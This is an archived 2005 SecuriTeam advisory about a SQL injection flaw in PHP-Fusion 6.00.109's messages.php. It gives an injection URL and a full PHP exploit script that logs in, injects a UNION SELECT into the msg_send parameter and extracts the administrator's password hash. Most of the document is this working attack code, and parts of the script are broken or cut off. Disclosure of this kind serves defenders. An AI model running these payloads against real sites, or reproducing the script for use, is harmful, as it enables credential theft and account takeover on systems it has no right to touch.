

# [UNIX] PHP-Fusion msg\_send SQL Injection

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-09/0106.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 09/29/05

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 29 Sep 2005 10:36:57 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

PHP-Fusion msg\_send SQL Injection

---

## SUMMARY

<<http://www.php-fusion.co.uk/>> PHP-Fusion – "A light-weight open-source content management system (CMS) written in PHP. It utilizes a MySQL database to store your site content and includes a simple, comprehensive administration system."

An SQL Injection vulnerability has been discovered in PHP-Fusion's messages.php script.

## DETAILS

Vulnerable Systems:

\* PHP-Fusion version 6.00.109

If magic\_quotes set to off, PHP-Fusion vulnerable to SQL Injection.

Example:

```
http://[target]/[path_to_Php_Fusion]/messages.php?msg_send=' UNION SELECT user_password FROM fusion_users WHERE user_name='[admin_username]/*
```

Now hash will be showed in "To:" field when you post a private message.

## Securiteam: [UNIX] PHP-Fusion msg\_send SQL Injection

Exploit:

```
<?php
# 19.17 28/09/2005 #
# #
# --- PhpF6_00_109xpl.php #
# #
# PHP-Fusion v6.00.109 SQL Injection / admin|users credentials disclosure
#
# #
# by rgod #
# site: http://rgod.altervista.org #
# #
# mphhh, private messages again...tze,tze #
# #
# make these changes in php.ini if you have troubles #
# to launch this script: #
# allow_call_time_pass_reference = on #
# register_globals = on #
# #
# usage: launch this script from Apache, fill requested fields, then #
# go! #
# #
# Sun-Tzu: "Therefore the clever combatant imposes his will on the enemy,
#
# but does not allow the enemy's will to be imposed on him" #
```

```
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);
```

```
echo'<head><title> *** PHP-Fusion v6.00.109 SQL Injection *** </title>
<meta
http-equiv= "Content-Type" content="text/html; charset=iso-8859-1"> <style
type="text/css"><!-- body,td,th {color:#00FF00;} body{background-color:
#000000;}
Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size:
10px; }
Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-weight:
bold;
font-style: italic; } --> </style></head><body> <p class="Stile6">
Php-Fusion v6.
00.109 SQL Injection / admin|user credentials disclosure </p><p
class="Stile6">
a script by rgod at <a href="http://rgod.altervista.org" target="_blank">
http://rgod.altervista.org</p><table width="84%"><tr><td width="43%">
<form
name="form1" method="post"
action="".$SERVER[PHP_SELF]."?path=value&host=value
&port=value&proxy=value&user=value&pass=value&username=value"> <p> <input
type="text" name="host"><span class="Stile5"> hostname ( ex:
```



```

    }
    echo "</tr></table>";
    }

    $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d{1,5}\b)';

    function sendpacket()
    {
    global $proxy, $host, $port, $html, $packet;
    if ($proxy=="")
        {$sock=fsockopen(gethostbyname($host),$port);}
        else
        {
        if (!eregi($proxy_regex,$proxy))
        {echo htmlentities($proxy).' -> not a valid proxy...';
        die;
        }
        $parts=explode(':',$proxy);
        echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
        $sock=fsockopen($parts[0],$parts[1]);
        if (!$sock) { echo 'No response from proxy...';
        die;
        }
        }
    fputs($sock,$packet);
    if ($proxy=="")
    {
    $html="";
    while (!feof($sock))
    {
    $html.=fgets($sock);
    }
    }
    else
    {
    $html="";
    while ((!feof($sock)) or
    (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
    {
    $html.=fread($sock,2048);
    }
    }
    fclose($sock);
    echo nl2br(htmlentities($html));
    }

    if (($path<>"") and ($host<>"") and ($user<>"") and ($pass<>"") and
    ($username<>""))
    {
    if ($port=="") {$port=80;}

```

## Securiteam: [UNIX] PHP-Fusion msg\_send SQL Injection

#STEP 1 -> login, to retrieve a session cookie...

```
$data="user_name=".urlencode(trim($user)).
"&user_pass=".urlencode(trim($pass))."&login=Login";
if ($proxy=="")
{ $packet="POST ".$path."news.php HTTP/1.1\r\n";}
else
{ $packet="POST http://".$host.$path."news.php HTTP/1.1\r\n";}

$packet="Referer: http://".$host.$path."/news.php\r\n";
$packet.="Accept-Language: en\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Googlebot/2.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Keep-Alive\r\n";
$packet.="Cache-Control: no-cache\r\n";
$packet.="Cookie: fusion_visited=yes;
PHPSessID=44ab49664b56b97036425427b1ffb8cf\r\n\r\n";
$packet.=$data;
show($packet);
sendpacket($packet);
$temp=explode("Set-Cookie: ", $html);
$temp2=explode(' ', $temp[1]);
$cookie=$temp2[0];
echo '<br>Your cookie: '.htmlentities($cookie);
```

# STEP 2 -> SQL Injection, now retrieve the MD5 password hash from database

```
$username=str_replace("'", "", $username);
$sql="" UNION SELECT user_password FROM fusion_users WHERE
user_name="" .trim($username). "/*";
```

```
if ($proxy=="")
{ $packet="GET ".$path."messages.php?msg_send=".urlencode($sql)."
HTTP/1.1\r\n";}
else
{ $packet="GET
http://".$host.$path."messages.php?msg_send=".urlencode($sql)."
HTTP/1.1\r\n";}
```

```
$packet.="User-Agent: GameBoy, Powered by Nintendo\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Accept: text/html, application/xml;q=0.9, application/xhtml+xml,
image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n";
$packet.="Accept-Language: en\r\n";
$packet.="Accept-Charset: windows-1252, utf-8, utf-16, iso-8859-1;q=0.6,
*;q=0.1\r\n";
$packet.="Accept-Encoding: deflate, gzip, x-gzip, identity, */*;q=0\r\n";
$packet.="Cookie: ".$cookie."\r\n";
```

## Securiteam: [UNIX] PHP-Fusion msg\_send SQL Injection

```
$packet.="Cookie2: \$Version=1\r\n";
$packet.="Connection: Keep-Alive, TE\r\n";
$packet.="TE: deflate, gzip, chunked, identity, trailers\r\n\r\n";
show($packet);
sendpacket($packet);
if (eregi('For Members only',$html)) {echo 'You have to specify a valid
session cookie...'; die; }
$temp=explode("'Click to view the senders profile'",$html);
$temp2=explode("</a>",$temp[1]);
$hash=$temp2[0];
echo '<br>Username: '.htmlentities($username).' Password hash: '.$hash;

}
else
{ echo '<br> Fill requested fields, optionally specify a proxy...';}

?>
```

### ADDITIONAL INFORMATION

The information has been provided by <mailto:retrogod@aliceposta.it>  
rgod.

=====

This bulletin is sent to members of the SecuriTeam mailing list.  
To unsubscribe from the list, send mail with an empty subject line and body to:  
list-unsubscribe@securiteam.com  
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====  
=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.  
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential,  
loss of business profits or special damages.